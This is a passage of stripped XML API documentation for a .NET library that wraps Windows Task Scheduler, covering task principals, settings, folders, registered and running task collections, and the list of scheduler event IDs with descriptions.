Determines whether this can use the Unified Scheduling Engine or if it contains unsupported properties. + + if set to true throws an with details about unsupported properties in the Data property of the exception. + + + true if this can use the Unified Scheduling Engine; otherwise, false. + + + Releases all resources used by this class. + + + Validates the current . + if set to true throw a with details about invalid properties. + true if current is valid; false if not. + + + Gets the lowest supported version. + The output list. + + + + + Provides the security credentials for a principal. These security credentials define the security context for the tasks that are associated with the principal. + + + + Gets the account associated with this principal. This value is pulled from the TaskDefinition's XMLText property if set. + The account. + + + Gets or sets the name of the principal that is displayed in the Task Scheduler UI. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the identifier of the user group that is required to run the tasks that are associated with the principal. Setting this property to + something other than a null or empty string, will set the property to NULL and will set the property to TaskLogonType.Group; + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier of the principal. + Not supported under Task Scheduler 1.0. + + + Gets or sets the security logon method that is required to run the tasks that are associated with the principal. + TaskLogonType values of Group, None, or S4UNot are not supported under Task Scheduler 1.0. + + + Gets or sets the task process security identifier (SID) type. + One of the enumeration constants. + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + Not supported under Task Scheduler versions prior to 2.1. + + + + Gets the security credentials for a principal. These security credentials define the security context for the tasks that are associated with the principal. + + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + + + + Gets or sets the identifier that is used to specify the privilege level that is required to run the tasks that are associated with the principal. + + Not supported under Task Scheduler 1.0. + + + + Gets or sets the user identifier that is required to run the tasks that are associated with the principal. Setting this property to something other + than a null or empty string, will set the property to NULL; + + + + Validates the supplied account against the supplied . + The user or group account name. + The SID type for the process. + true if supplied account can be used for the supplied SID type. + + + Releases all resources used by this class. + + + Gets a value indicating whether current Principal settings require a password to be provided. + true if settings requires a password to be provided; otherwise, false. + + + Returns a that represents this instance. + A that represents this instance. + + + + List of security credentials for a principal under version 1.3 of the Task Scheduler. These security credentials define the security context for the + tasks that are associated with the principal. + + + + Gets the number of elements contained in the . + The number of elements contained in the . + + + Gets a value indicating whether the is read-only. + true if the is read-only; otherwise, false. + + + Gets or sets the element at the specified index. + The element at the specified index. + is not a valid index in the . + The property is set and the is read-only. + + + Adds an item to the . + The object to add to the . + The is read-only. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Copies to. + The array. + Index of the array. + + + Returns an enumerator that iterates through the collection. + A that can be used to iterate through the collection. + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Removes all items from the . + The is read-only. + + + Inserts an item to the at the specified index. + The zero-based index at which should be inserted. + The object to insert into the . + is not a valid index in the . + The is read-only. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This + method also returns false if is not found in the original . + + The is read-only. + + + Removes the item at the specified index. + The zero-based index of the item to remove. + is not a valid index in the . + The is read-only. + + + Enumerates the privileges set for a principal under version 1.3 of the Task Scheduler. + + + Gets the element in the collection at the current position of the enumerator. + The element in the collection at the current position of the enumerator. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Advances the enumerator to the next element of the collection. + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + The collection was modified after the enumerator was created. + + + Sets the enumerator to its initial position, which is before the first element in the collection. + The collection was modified after the enumerator was created. + + + + Provides the administrative information that can be used to describe the task. This information includes details such as a description of the task, the + author of the task, the date the task is registered, and the security descriptor of the task. + + + + Gets or sets the author of the task. + + + Gets or sets the date and time when the task is registered. + + + Gets or sets the description of the task. + + + Gets or sets any additional documentation for the task. + + + Gets or sets the security descriptor of the task. + The security descriptor. + + + Gets or sets the security descriptor of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets where the task originated from. For example, a task may originate from a component, service, application, or user. + + + Gets or sets the URI of the task. + + Note: Breaking change in version 2.0. This property was previously of type . It was found that in Windows 8, many of the + native tasks use this property in a string format rather than in a URI format. + + + + Gets or sets the version number of the task. + + + Gets or sets an XML-formatted version of the registration information for the task. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Provides the settings that the Task Scheduler service uses to perform the task. + + + Gets or sets a Boolean value that indicates that the task can be started by using either the Run command or the Context menu. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task may be terminated by using TerminateProcess. + Not supported under Task Scheduler 1.0. + + + Gets or sets an integer value that indicates which version of Task Scheduler a task is compatible with. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. If no value is specified for this + property, then the Task Scheduler service will not delete the task. + + + Gets and sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. A TimeSpan value of 1 second indicates + the task is set to delete when done. A value of TimeSpan.Zero indicates that the task should not be deleted. + + + A task expires after the end boundary has been exceeded for all triggers associated with the task. The end boundary for a trigger is specified by the + EndBoundary property of all trigger types. + + + + Gets or sets a Boolean value that indicates that the task will not be started if the computer is running on battery power. + + + + Gets or sets a Boolean value that indicates that the task will not be started if the task is triggered to run in a Remote Applications Integrated + Locally (RAIL) session. + + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a Boolean value that indicates that the task is enabled. The task can be performed only when this setting is TRUE. + + + + Gets or sets the amount of time that is allowed to complete the task. By default, a task will be stopped 72 hours after it starts to run. + + + The amount of time that is allowed to complete the task. When this parameter is set to , the execution time limit is infinite. + + + If a task is started on demand, the ExecutionTimeLimit setting is bypassed. Therefore, a task that is started on demand will not be terminated if it + exceeds the ExecutionTimeLimit. + + + + Gets or sets a Boolean value that indicates that the task will not be visible in the UI by default. + + + Gets or sets the information that the Task Scheduler uses during Automatic maintenance. + + + Gets or sets the policy that defines how the Task Scheduler handles multiple instances of the task. + Not supported under Task Scheduler 1.0. + + + Gets or sets the priority level of the task. + The priority. + Value set to AboveNormal or BelowNormal on Task Scheduler 1.0. + + + Gets or sets the number of times that the Task Scheduler will attempt to restart the task. + + The number of times that the Task Scheduler will attempt to restart the task. If this property is set, the property + must also be set. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that specifies how long the Task Scheduler will attempt to restart the task. + + A value that specifies how long the Task Scheduler will attempt to restart the task. If this property is set, the property + must also be set. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only if the user is logged on (v1.0 only) + Property set for a task on a Task Scheduler version other than 1.0. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will run the task only when a network is available. + + + Gets or sets a Boolean value that indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task will be stopped if the computer switches to battery power. + + + Gets or sets a Boolean value that indicates that the Unified Scheduling Engine will be utilized to run this task. + Property set for a task on a Task Scheduler version prior to 2.1. + + + Gets or sets a boolean value that indicates whether the task is automatically disabled every time Windows starts. + Property set for a task on a Task Scheduler version prior to 2.2. + + + Gets or sets a Boolean value that indicates that the Task Scheduler will wake the computer when it is time to run the task. + + + Gets or sets an XML-formatted definition of the task settings. + + + Gets or sets the information that specifies how the Task Scheduler performs tasks when the computer is in an idle state. + + + + Gets or sets the network settings object that contains a network profile identifier and name. If the RunOnlyIfNetworkAvailable property of + ITaskSettings is true and a network profile is specified in the NetworkSettings property, then the task will run only if the specified network + profile is available. + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + + Contains all the tasks that are registered. + + Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name. This has been removed so that it is consistent with V2. + + + + Releases all resources used by this class. + + + + + Gets the collection enumerator for the register task collection. + + An for this collection. + + + + Internal constructor + + TaskService instance + The filter. + + + + Retrieves the current task. See for more information. + + + + + Releases all resources used by this class. + + + + + Moves to the next task. See MoveNext for more information. + + true if next task found, false if no more tasks. + + + + Reset task enumeration. See Reset for more information. + + + + + Gets the number of registered tasks in the collection. + + + + + Gets or sets the regular expression filter for task names. + + The regular expression filter. + + + + Gets the specified registered task from the collection. + + The index of the registered task to be retrieved. + A instance that contains the requested context. + + + + Gets the named registered task from the collection. + + The name of the registered task to be retrieved. + A instance that contains the requested context. + + + + Determines whether the specified task exists. + + The name of the task. + true if task exists; otherwise, false. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Collection of running tasks. + + + + + Releases all resources used by this class. + + + + + Gets an IEnumerator instance for this collection. + + An enumerator. + + + + Releases all resources used by this class. + + + + + Gets the number of registered tasks in the collection. + + + + + Gets the specified running task from the collection. + + The index of the running task to be retrieved. + A instance. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Changes to tasks and the engine that cause events. + + + + Task Scheduler started an instance of a task for a user. + For detailed information, see the documentation for Event ID 100 on TechNet. + + + Task Scheduler failed to start a task for a user. + For detailed information, see the documentation for Event ID 101 on TechNet. + + + Task Scheduler successfully finished an instance of a task for a user. + For detailed information, see the documentation for Event ID 102 on TechNet. + + + Task Scheduler failed to start an instance of a task for a user. + For detailed information, see the documentation for Event ID 103 on TechNet. + + + Task Scheduler failed to log on the user. + For detailed information, see the documentation for Event ID 104 on TechNet. + + + Task Scheduler failed to impersonate a user. + For detailed information, see the documentation for Event ID 105 on TechNet. + + + The a user registered the Task Scheduler a task. + For detailed information, see the documentation for Event ID 106 on TechNet. + + + Task Scheduler launched an instance of a task due to a time trigger. + For detailed information, see the documentation for Event ID 107 on TechNet. + + + Task Scheduler launched an instance of a task due to an event trigger. + For detailed information, see the documentation for Event ID 108 on TechNet. + + + Task Scheduler launched an instance of a task due to a registration trigger. + For detailed information, see the documentation for Event ID 109 on TechNet. + + + Task Scheduler launched an instance of a task for a user. + For detailed information, see the documentation for Event ID 110 on TechNet. + + + Task Scheduler terminated an instance of a task due to exceeding the time allocated for execution, as configured in the task definition. + For detailed information, see the documentation for Event ID 111 on TechNet. + + + Task Scheduler could not start a task because the network was unavailable. Ensure the computer is connected to the required network as specified in the task. + For detailed information, see the documentation for Event ID 112 on TechNet. + + + The Task Scheduler registered the a task, but not all the specified triggers will start the task. Ensure all the task triggers are valid. + For detailed information, see the documentation for Event ID 113 on TechNet. + + + Task Scheduler could not launch a task as scheduled. Instance is started now as required by the configuration option to start the task when available, if the scheduled time is missed. + For detailed information, see the documentation for Event ID 114 on TechNet. + + + Task Scheduler failed to roll back a transaction when updating or deleting a task. + For detailed information, see the documentation for Event ID 115 on TechNet. + + + Task Scheduler saved the configuration for a task, but the credentials used to run the task could not be stored. + For detailed information, see the documentation for Event ID 116 on TechNet. + + + Task Scheduler launched an instance of a task due to an idle condition. + For detailed information, see the documentation for Event ID 117 on TechNet. + + + Task Scheduler launched an instance of a task due to system startup. + For detailed information, see the documentation for Event ID 118 on TechNet. + + + Task Scheduler launched an instance of a task due to a user logon. + For detailed information, see the documentation for Event ID 119 on TechNet. + + + Task Scheduler launched an instance of a task due to a user connecting to the console. + For detailed information, see the documentation for Event ID 120 on TechNet. + + + Task Scheduler launched an instance of a task due to a user disconnecting from the console. + For detailed information, see the documentation for Event ID 121 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely connecting. + For detailed information, see the documentation for Event ID 122 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely disconnecting. + For detailed information, see the documentation for Event ID 123 on TechNet. + + + Task Scheduler launched an instance of a task due to a user locking the computer. + For detailed information, see the documentation for Event ID 124 on TechNet. + + + Task Scheduler launched an instance of a task due to a user unlocking the computer. + For detailed information, see the documentation for Event ID 125 on TechNet. + + + Task Scheduler failed to execute a task. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 126 on TechNet. + + + Task Scheduler failed to execute a task due to a shutdown race condition. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 127 on TechNet. + + + Task Scheduler did not launch a task because the current time exceeds the configured task end time. + For detailed information, see the documentation for Event ID 128 on TechNet. + + + Task Scheduler launched an instance of a task in a new process. + For detailed information, see the documentation for Event ID 129 on TechNet. + + + The Task Scheduler service failed to start a task due to the service being busy. + For detailed information, see the documentation for Event ID 130 on TechNet. + + + Task Scheduler failed to start a task because the number of tasks in the task queue exceeds the quota currently configured. + For detailed information, see the documentation for Event ID 131 on TechNet. + + + The Task Scheduler task launching queue quota is approaching its preset limit of tasks currently configured. + For detailed information, see the documentation for Event ID 132 on TechNet. + + + Task Scheduler failed to start a task in the task engine for a user. + For detailed information, see the documentation for Event ID 133 on TechNet. + + + Task Engine for a user is approaching its preset limit of tasks. + For detailed information, see the documentation for Event ID 134 on TechNet. + + + Task Scheduler did not launch a task because launch condition not met, machine not idle. + For detailed information, see the documentation for Event ID 135 on TechNet. + + + A user updated Task Scheduler a task + For detailed information, see the documentation for Event ID 140 on TechNet. + + + A user deleted Task Scheduler a task + For detailed information, see the documentation for Event ID 141 on TechNet. + + + A user disabled Task Scheduler a task + For detailed information, see the documentation for Event ID 142 on TechNet. + + + Task Scheduler woke up the computer to run a task. + For detailed information, see the documentation for Event ID 145 on TechNet. + + + Task Scheduler failed to subscribe the event trigger for a task. + For detailed information, see the documentation for Event ID 150 on TechNet. + + + Task Scheduler launched an action in an instance of a task. + For detailed information, see the documentation for Event ID 200 on TechNet. + + + Task Scheduler successfully completed a task instance and action. + For detailed information, see the documentation for Event ID 201 on TechNet. + + + Task Scheduler failed to complete an instance of a task with an action. + For detailed information, see the documentation for Event ID 202 on TechNet. + + + Task Scheduler failed to launch an action in a task instance. + For detailed information, see the documentation for Event ID 203 on TechNet. + + + Task Scheduler failed to retrieve the event triggering values for a task . The event will be ignored. + For detailed information, see the documentation for Event ID 204 on TechNet. + + + Task Scheduler failed to match the pattern of events for a task. The events will be ignored. + For detailed information, see the documentation for Event ID 205 on TechNet. + + + Task Scheduler is shutting down the a task engine. + For detailed information, see the documentation for Event ID 301 on TechNet. + + + Task Scheduler is shutting down the a task engine due to an error. + For detailed information, see the documentation for Event ID 303 on TechNet. + + + Task Scheduler sent a task to a task engine. + For detailed information, see the documentation for Event ID 304 on TechNet. + + + Task Scheduler did not send a task to a task engine. + For detailed information, see the documentation for Event ID 305 on TechNet. + + + For a Task Scheduler task engine, the thread pool failed to process the message. + For detailed information, see the documentation for Event ID 306 on TechNet. + + + The Task Scheduler service failed to connect to a task engine process. + For detailed information, see the documentation for Event ID 307 on TechNet. + + + Task Scheduler connected to a task engine process. + For detailed information, see the documentation for Event ID 308 on TechNet. + + + There are Task Scheduler tasks orphaned during a task engine shutdown. + For detailed information, see the documentation for Event ID 309 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 310 on TechNet. + + + Task Scheduler failed to start a task engine process due to an error. + For detailed information, see the documentation for Event ID 311 on TechNet. + + + Task Scheduler created the Win32 job object for a task engine. + For detailed information, see the documentation for Event ID 312 on TechNet. + + + The Task Scheduler channel is ready to send and receive messages. + For detailed information, see the documentation for Event ID 313 on TechNet. + + + Task Scheduler has no tasks running for a task engine, and the idle timer has started. + For detailed information, see the documentation for Event ID 314 on TechNet. + + + A task engine process failed to connect to the Task Scheduler service. + For detailed information, see the documentation for Event ID 315 on TechNet. + + + A task engine failed to send a message to the Task Scheduler service. + For detailed information, see the documentation for Event ID 316 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 317 on TechNet. + + + Task Scheduler shut down a task engine process. + For detailed information, see the documentation for Event ID 318 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to launch a task. + For detailed information, see the documentation for Event ID 319 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to stop a task instance. + For detailed information, see the documentation for Event ID 320 on TechNet. + + + Task Scheduler did not launch a task because an instance of the same task is already running. + For detailed information, see the documentation for Event ID 322 on TechNet. + + + Task Scheduler stopped an instance of a task in order to launch a new instance. + For detailed information, see the documentation for Event ID 323 on TechNet. + + + Task Scheduler queued an instance of a task and will launch it as soon as another instance completes. + For detailed information, see the documentation for Event ID 324 on TechNet. + + + Task Scheduler queued an instance of a task that will launch immediately. + For detailed information, see the documentation for Event ID 325 on TechNet. + + + Task Scheduler did not launch a task because the computer is running on batteries. If launching the task on batteries is required, change the respective flag in the task configuration. + For detailed information, see the documentation for Event ID 326 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is switching to battery power. + For detailed information, see the documentation for Event ID 327 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is no longer idle. + For detailed information, see the documentation for Event ID 328 on TechNet. + + + Task Scheduler stopped an instance of a task because the task timed out. + For detailed information, see the documentation for Event ID 329 on TechNet. + + + Task Scheduler stopped an instance of a task as request by a user . + For detailed information, see the documentation for Event ID 330 on TechNet. + + + Task Scheduler will continue to execute an instance of a task even after the designated timeout, due to a failure to create the timeout mechanism. + For detailed information, see the documentation for Event ID 331 on TechNet. + + + Task Scheduler did not launch a task because a user was not logged on when the launching conditions were met. Ensure the user is logged on or change the task definition to allow the task to launch when the user is logged off. + For detailed information, see the documentation for Event ID 332 on TechNet. + + + The Task Scheduler service has started. + For detailed information, see the documentation for Event ID 400 on TechNet. + + + The Task Scheduler service failed to start due to an error. + For detailed information, see the documentation for Event ID 401 on TechNet. + + + Task Scheduler service is shutting down. + For detailed information, see the documentation for Event ID 402 on TechNet. + + + The Task Scheduler service has encountered an error. + For detailed information, see the documentation for Event ID 403 on TechNet. + + + The Task Scheduler service has encountered an RPC initialization error. + For detailed information, see the documentation for Event ID 404 on TechNet. + + + The Task Scheduler service has failed to initialize COM. + For detailed information, see the documentation for Event ID 405 on TechNet. + + + The Task Scheduler service failed to initialize the credentials store. + For detailed information, see the documentation for Event ID 406 on TechNet. + + + Task Scheduler service failed to initialize LSA. + For detailed information, see the documentation for Event ID 407 on TechNet. + + + Task Scheduler service failed to initialize idle state detection module. Idle tasks may not be started as required. + For detailed information, see the documentation for Event ID 408 on TechNet. + + + The Task Scheduler service failed to initialize a time change notification. System time updates may not be picked by the service and task schedules may not be updated. + For detailed information, see the documentation for Event ID 409 on TechNet. + + + Task Scheduler service received a time system change notification. + For detailed information, see the documentation for Event ID 411 on TechNet. + + + Task Scheduler service failed to launch tasks triggered by computer startup. Restart the Task Scheduler service. + For detailed information, see the documentation for Event ID 412 on TechNet. + + + Task Scheduler service started Task Compatibility module. + For detailed information, see the documentation for Event ID 700 on TechNet. + + + Task Scheduler service failed to start Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 701 on TechNet. + + + Task Scheduler failed to initialize the RPC server for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 702 on TechNet. + + + Task Scheduler failed to initialize Net Schedule API for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 703 on TechNet. + + + Task Scheduler failed to initialize LSA for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 704 on TechNet. + + + Task Scheduler failed to start directory monitoring for the Task Compatibility module. + For detailed information, see the documentation for Event ID 705 on TechNet. + + + Task Compatibility module failed to update a task to the required status. + For detailed information, see the documentation for Event ID 706 on TechNet. + + + Task Compatibility module failed to delete a task. + For detailed information, see the documentation for Event ID 707 on TechNet. + + + Task Compatibility module failed to set a security descriptor for a task. + For detailed information, see the documentation for Event ID 708 on TechNet. + + + Task Compatibility module failed to update a task. + For detailed information, see the documentation for Event ID 709 on TechNet. + + + Task Compatibility module failed to upgrade existing tasks. Upgrade will be attempted again next time 'Task Scheduler' service starts. + For detailed information, see the documentation for Event ID 710 on TechNet. + + + Task Compatibility module failed to upgrade NetSchedule account. + For detailed information, see the documentation for Event ID 711 on TechNet. + + + Task Compatibility module failed to read existing store to upgrade tasks. + For detailed information, see the documentation for Event ID 712 on TechNet. + + + Task Compatibility module failed to load a task for upgrade. + For detailed information, see the documentation for Event ID 713 on TechNet. + + + Task Compatibility module failed to register a task for upgrade. + For detailed information, see the documentation for Event ID 714 on TechNet. + + + Task Compatibility module failed to delete LSA store for upgrade. + For detailed information, see the documentation for Event ID 715 on TechNet. + + + Task Compatibility module failed to upgrade existing scheduled tasks. + For detailed information, see the documentation for Event ID 716 on TechNet. + + + Task Compatibility module failed to determine if upgrade is needed. + For detailed information, see the documentation for Event ID 717 on TechNet. + + + Task scheduler was unable to upgrade the credential store from the Beta 2 version. You may need to re-register any tasks that require passwords. + For detailed information, see the documentation for Event ID 718 on TechNet. + + + A unknown value. + + + + Historical event information for a task. This class wraps and extends the class. + + + For events on systems prior to Windows Vista, this class will only have information for the TaskPath, TimeCreated and EventId properties. + + + + + Gets the activity id. This value is null for V1 events. + + + + + An indexer that gets the value of each of the data item values. This value is null for V1 events. + + + The data values. + + + + + Gets the event id. + + + + + Gets the underlying . This value is null for V1 events. + + + + + Gets the from the . + + + The . If not found, returns . + + + + + Gets the level. This value is null for V1 events. + + + + + Gets the op code. This value is null for V1 events. + + + + + Gets the process id. This value is null for V1 events. + + + + + Gets the record id. This value is null for V1 events. + + + + + Gets the task category. This value is null for V1 events. + + + + + Gets the task path. + + + + + Gets the time created. + + + + + Gets the user id. This value is null for V1 events. + + + + + Gets the version. This value is null for V1 events. + + + + + Gets the data value from the task specific event data item list. + + The name of the data element. + Contents of the requested data element if found. null if no value found. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the other parameter.Zero This object is equal to other. Greater than zero This object is greater than other. + + + + + Get indexer class for data values. + + + + + Gets the value of the specified property name. + + + The value. + + Name of the property. + Value of the specified property name. null if property does not exist. + + + + An enumerator over a task's history of events. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + + + Advances the enumerator to the next element of the collection. + + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + + The collection was modified after the enumerator was created. + + + + + Sets the enumerator to its initial position, which is before the first element in the collection. + + + The collection was modified after the enumerator was created. + + + + + Seeks the specified bookmark. + + The bookmark. + The offset. + + + + Seeks the specified origin. + + The origin. + The offset. + + + + Historical event log for a task. Only available for Windows Vista and Windows Server 2008 and later systems. + + Many applications have the need to audit the execution of the tasks they supply. To enable this, the library provides the TaskEventLog class that allows for TaskEvent instances to be enumerated. This can be done for single tasks or the entire system. It can also be filtered by specific events or criticality. + + + + + Initializes a new instance of the class. + + The task path. This can be retrieved using the property. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class. + + Name of the machine. + The task path. This can be retrieved using the property. + The domain. + The user. + The password. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class that looks at all task events from a specified time. + + The start time. + Name of the task. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The levels. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Gets the total number of events for this task. + + + + + Gets or sets a value indicating whether this is enabled. + + + true if enabled; otherwise, false. + + + + + Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement). + + + true if enumerates in reverse (newest to oldest) by default; otherwise, false to enumerate oldest to newest. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through the collection. + + if set to true reverse. + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through a collection. + + + An object that can be used to iterate through the collection. + + + + + Information about the task event. + + + + + If possible, gets the task associated with this event. + + + The task or null if unable to retrieve. + + + + + Gets the . + + + The TaskEvent. + + + + + Gets the task name. + + + The task name. + + + + + Gets the task path. + + + The task path. + + + + + Watches system events related to tasks and issues a event when the filtered conditions are met. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + Sometimes, a developer will need to know about events as they occur. In this case, they can use the TaskEventWatcher component that enables the developer to watch a task, a folder, or the entire system for filtered events. + + Below is information on how to watch a folder for all task events. For a complete example, look at this sample project: TestTaskWatcher.zip + + + + + Initializes a new instance of the class. If other + properties are not set, this will watch for all events for all tasks on the local machine. + + + + + Initializes a new instance of the class watching only + those events for the task with the provided path on the local machine. + + The full path (folders and name) of the task to watch. + The task service. + $Invalid task name: {taskPath} + + + + Initializes a new instance of the class watching only + those events for the specified task. + + The task to watch. + Occurs if the is null. + + + + Initializes a new instance of the class watching only those events for + the tasks whose name matches the in the specified + and optionally all subfolders. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + Occurs if the is null. + + + + Initializes a new instance of the class. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The task service. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Occurs when a task or the task engine records an event. + + + + + Gets or sets a value indicating whether the component is enabled. + + + true if enabled; otherwise, false. + + + + + Gets the filter for this . + + + The filter. + + + + + Gets or sets the folder to watch. + + + The folder path to watch. This value should include the leading "\" to indicate the root folder. + + Thrown if the folder specified does not exist or contains invalid characters. + + + + Gets or sets a value indicating whether to include events from subfolders when the + property is set. If the property is set, + this property is ignored. + + true if include events from subfolders; otherwise, false. + + + + Gets or sets the synchronizing object. + + + The synchronizing object. + + + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + + + Gets or sets the instance associated with this event watcher. Setting this value + will override any values set for , , + , and and set them to those values in the supplied + instance. + + The TaskService. + + + + Gets or sets the user account domain to be used when connecting to the . + + The user account domain. + + + + Gets or sets the user name to be used when connecting to the . + + The user name. + + + + Gets or sets the user password to be used when connecting to the . + + The user password. + + + + Gets a value indicating if watching is available. + + + + + Signals the object that initialization is starting. + + + + + Signals the object that initialization is complete. + + + + + Releases the unmanaged resources used by the FileSystemWatcher and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Fires the event. + + The sender. + The instance containing the event data. + + + + Holds filter information for a . + + + + + Gets or sets an optional array of event identifiers to use when filtering those events that will fire a event. + + + The array of event identifier filters. All know task event identifiers are declared in the enumeration. + + + + + Gets or sets an optional array of event levels to use when filtering those events that will fire a event. + + + The array of event levels. While event providers can define custom levels, most will use integers defined in the System.Diagnostics.Eventing.Reader.StandardEventLevel enumeration. + + + + + Gets or sets the task name, which can utilize wildcards, to look for when watching a folder. + + A task name or wildcard. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder. + + + + + Releases all resources used by this class. + + + + + Gets a which enumerates all the tasks in this and all subfolders. + + + A for all instances. + + + + + Gets the name that is used to identify the folder that contains a task. + + + + + Gets the parent folder of this folder. + + + The parent folder, or null if this folder is the root folder. + + + + + Gets the path to where the folder is stored. + + + + + Gets or sets the security descriptor of the task. + + The security descriptor. + + + + Gets all the subfolders in the folder. + + + + + Gets a collection of all the tasks in the folder. + + + + + Gets or sets the that manages this task. + + The task service. + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . + + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The task security associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + Set this value to false to avoid having an exception called if the folder already exists. + A instance that represents the new subfolder. + Security descriptor mismatch between specified credentials and credentials on existing folder by same name. + Invalid SDDL form. + Not supported under Task Scheduler 1.0. + + + + Deletes a subfolder from the parent folder. Not available to Task Scheduler 1.0. + + The name of the subfolder to be removed. The root task folder is specified with a backslash (\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + Set this value to false to avoid having an exception called if the folder does not exist. + Not supported under Task Scheduler 